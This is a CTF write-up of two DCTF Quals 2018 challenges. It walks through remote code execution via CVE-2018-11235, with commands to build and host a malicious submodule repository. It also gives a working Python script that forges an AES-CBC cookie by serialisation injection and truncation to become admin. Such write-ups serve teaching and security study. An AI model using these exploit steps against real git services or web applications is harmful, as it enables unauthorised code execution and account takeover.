DCTF Quals 2018 write ups
Introduction
This weekend the DCTF Quals 2018 edition were running!
As usual, I was playing for the Greunion team, but this time there were no crypto category per se, so I did not spend much time on the CTF at all.
Online linter
TL;DR: CVE-2018-11235 using a PoC I wrote at the time.
This exploit challenge asks for a git repository URL, clones it and apply some
kind of syntax check on any .php
files.
A teammate, rkmylo, figured out that the git repository may be cloned with the
-recurse-submodules
flag, and if so, it may be vulnerable to
CVE-2018-11235 which would allow for arbitrary execution.
Funny enough, I created a proof of concept against that vulnerability when it was published in May 2018.
So let's run the proof of concept! To do so, we need to:
- Edit the
evil.sh
file from the repository; - Run the
build.sh
script, this creates a directory namedrepo
containing a git repository; - Host that git repository somewhere;
- Provides that URL to the challenge;
- Profit!
Only step 3 provides a little bit harder than expected. Indeed, many git forges such as GitHub or GitLab do not allow to host a git repository explointing CVE-2018-11235.
We went the manual route and host on a server on our own, using the following quick-and-dirty approach:
# clone proof of concept repository
git clone https://github.com/Rogdham/CVE-2018-11235
cd CVE-2018-11235
# edit and build
vim evil.sh # put: head -1 /var/www/html/index.php
./build.sh
# host the evil repository
git clone --bare repo repo-bare
cd repo-bare
git --bare update-server-info
python2 -m SimpleHTTPServer
We provide the URL to the server, and gain command execution! After a little
bit of searching, the flag is in the /var/www/html/index.php
file:
===> Executing git clone 'http://redacted.example.com/foo'
Cloning into '/tmp/ce4f6ffa004b8dde458ce1e5f2d9d30e'...
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/tmp/ce4f6ffa004b8dde458ce1e5f2d9d30e/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
<?php /* Good job, here's the reward: DCTF{4a49b863ba931ac65b077a504b973d9ddab4f343b00651a0b4ff9b8d7575f41f} */ ?><html>
Get Admin
TL;DR: Custom serialisation in an encrypted input.
This is a web challenge, for which we have the source code. The website allows
to register ourselves, login, and if we end up with user id
equal to 1
, the
flag is printed.
Overview
When we login, an encrypted cookie is sent to the browser containing the following data, in that order: id, username, email, checksum; like so:
id¡42÷username¡foo÷email¡foo@example.com÷checksum¡1415213045
This custom serialisation format is clearly key-value based, and the checksum is simply the CRC32 of the following:
id¡42÷username¡foo÷email¡foo@example.com
This is then encrypted using AES in CBC mode.
The plan is to forge such a cookie value so that the id is 1
. However, we
need to pass the checksum, which should not be too complex given that it is a
simple CRC32 value.
In the above, the following is under our control: the username foo
and the
email foo@example.com
.
Key override
One thing we noticed is that if the same key is repeated in the serialized data, only the last occurrence is used for the value.
This is good as far as the id
is concerned, because we can simply override
it. However, we cannot override the checksum because it is appended to the
values under our control.
Since CRC32 is a pretty weak checksum, it should be no problem to find a
collision, however we would need to know our real id
before registration, and
this is not possible.
Cookie truncation
An other idea is to cut the serialised value at a specific position.
For example, if we use the following as our username:
foo÷checksum¡3616745897÷id¡1
Then the plaintext in the cookie will be something like:
id¡42÷username¡foo÷checksum¡3616745897÷id¡1÷email¡foo@example.com÷checksum¡2856096650
We will then cut that plaintext to be the following:
id¡42÷username¡foo÷checksum¡3616745897÷id¡1
And if it works, we should be connected with id=1
, because we made sure that
the checksum would be valid at this point!
To do so, let's look at how decryption works. Since AES, a block cipher, is used to encrypt the cookie, some kind of padding must be performed to be able to retrieve the exact same plaintext on decryption.
In our case, the decrypted plaintext is cut to a specific length provided in cleartext at the end of the cookie.
In other words, we will just need to set the right length! The only thing we
don't know is how many digits are used by our real id
, but we can bruteforce
that.
Solution
Running the following script gives us the flag:
DCTF{4EF853DFC818AFEC39497CD1B91625F9E6E19D34D8E43E56722026F26A95F13E}
.
import binascii
import random
import requests
import string
import urllib
def random_str(l):
return ''.join(random.choice(string.lowercase) for _ in range(l))
username = password = random_str(16)
email = '{}@example.com'.format(username)
crc_compute = 'id¡1÷username¡{}'.format(username)
crc_value = binascii.crc32(crc_compute) & 0xffffffff
fake_username = '{}÷checksum¡{}÷id¡1'.format(username, crc_value)
expected_length = len('id¡?÷username¡{}'.format(fake_username))
# register
r = requests.post(
'https://admin.dctfq18.def.camp/register.php',
data={'username': fake_username, 'password': password,
'confirm_password': password, 'email': email})
# login to get cookie
r = requests.post(
'https://admin.dctfq18.def.camp/',
data={'username': fake_username, 'password': password},
allow_redirects=False)
cookie = urllib.unquote(r.cookies['user'])
# use modified cookie to get flag
for length in range(expected_length, expected_length + 10):
print 'Trying length', length
auth = urllib.quote('{}{:06d}'.format(cookie[:-6], length))
r = requests.get('https://admin.dctfq18.def.camp/index.php',
cookies={'user': auth})
if 'DCTF{' in r.text:
print r.text
break
Conclusion
An other weekend, an other CTF! No crypto challenges this time, which allowed me not to spend too much time on it.
That being said, my team did an amazing job as usual, which gave us the fifth place!